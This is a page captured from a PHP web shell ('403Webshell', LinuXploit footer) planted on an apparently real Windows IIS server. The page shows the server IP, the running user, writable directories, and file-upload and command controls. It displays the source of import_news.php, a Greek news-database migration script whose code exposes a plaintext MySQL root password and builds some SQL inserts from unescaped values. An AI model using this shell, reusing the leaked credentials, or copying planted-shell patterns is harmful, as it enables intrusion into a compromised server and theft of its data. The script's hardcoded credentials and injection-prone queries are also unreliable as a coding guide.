403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.216.231
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot//import_news.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Language" content="el">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<?
include("ConvertCharset.class.php");
							
$FromCharset = "utf-8";
$ToCharset = "iso-8859-7";
$utf8_to_iso88597 = new ConvertCharset($FromCharset, $ToCharset);
$iso88597_to_utf8 = new ConvertCharset($ToCharset,$FromCharset);

$db1 = mysqli_connect("localhost", "root", "*3r3v0$*", "newteiserdb");
mysqli_query($db1, "SET NAMES 'greek'");


$result = mysqli_query($db1, "SELECT * FROM news WHERE added>'2012-12-11' ORDER BY id");

$db2 = mysqli_connect("localhost", "root", "*3r3v0$*", "teiser2012");
mysqli_query($db2, "SET NAMES 'utf8'");

while ($myrow = mysqli_fetch_array($result))
{
	$myrow["category"] = $iso88597_to_utf8->Convert($myrow["category"]);
	$myrow["doctype"] =  $iso88597_to_utf8->Convert($myrow["doctype"]);
	$myrow["doclink"] =  $iso88597_to_utf8->Convert($myrow["doclink"]);
	
	if ($myrow["category"]=="Γενικές")
		$category_id = 67;
	else if ($myrow["category"]=="Εξεταστικές")
		$category_id = 69;
	else if ($myrow["category"]=="Προκηρύξεις")
		$category_id = 70;
	else
		$category_id = 67;
	
	$title = mysqli_real_escape_string($db2, $iso88597_to_utf8->Convert($myrow["title"]));
	$body = mysqli_real_escape_string($db2, $iso88597_to_utf8->Convert($myrow["body"]));
	$created = $myrow["added"]." 00:00:00";
	$publish_up = $created;
	
	if ($myrow["showitem"]=="Show") 
		$state = 1;
	else
		$state = 0;
	
	$sql = "INSERT INTO content (category_id, title, body, created, publish_up, state, article_type, frontpage, userid) VALUE ('$category_id', '$title', '$body', '$created', '$publish_up', $state, 0, 0, 1)";
	echo $sql."<br>";

	$result2 = mysqli_query($db2, $sql);
	$last_id = mysqli_insert_id($db2);
	
	if (!$result2)
		echo "ERROR!!!".mysqli_error($db2)."<br>";

	if ($myrow["doctype"]=="Έγγραφο")
	{
		$at_filename = end(explode("/", $myrow["doclink"]));
		$at_url = $myrow["doclink"];

		$at_filetype = end(explode(".", $at_filename));

		$allowed_filetypes = array("zip", "doc", "docx", "xls", "xlsx", "pdf", "ppt", "pps", "jpg", "png", "gif");
		if (!in_array(strtolower($at_filetype), $allowed_filetypes))
		{
			$at_filename = $at_url;
			$at_filetype = "none";	
		}

		if (mb_strlen($at_filename, 'utf-8')>70)
		{
			$at_filename = mb_substr($at_filename, 0, 70, 'utf-8');
			$at_filename .= "...";
		}
		
		$at_display_filename = "";
		$at_description = "";
		$at_parent_id = $last_id;

		 if (file_exists($at_url))
			$at_filesize = @filesize($at_url);
		else
			$at_filesize = 0;
		
		$sql = "INSERT INTO attachments (filename, file_type, url, file_size, parent_id) VALUES ('".$at_filename."','".$at_filetype."','".$at_url."',".$at_filesize.",".$at_parent_id.")";
		echo $sql."<br>";

		$result3 = mysqli_query($db2, $sql);
		
		if (!$result3)
			echo "ERROR!!!".mysqli_error($db2)."<br>";
	
	}
}

?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit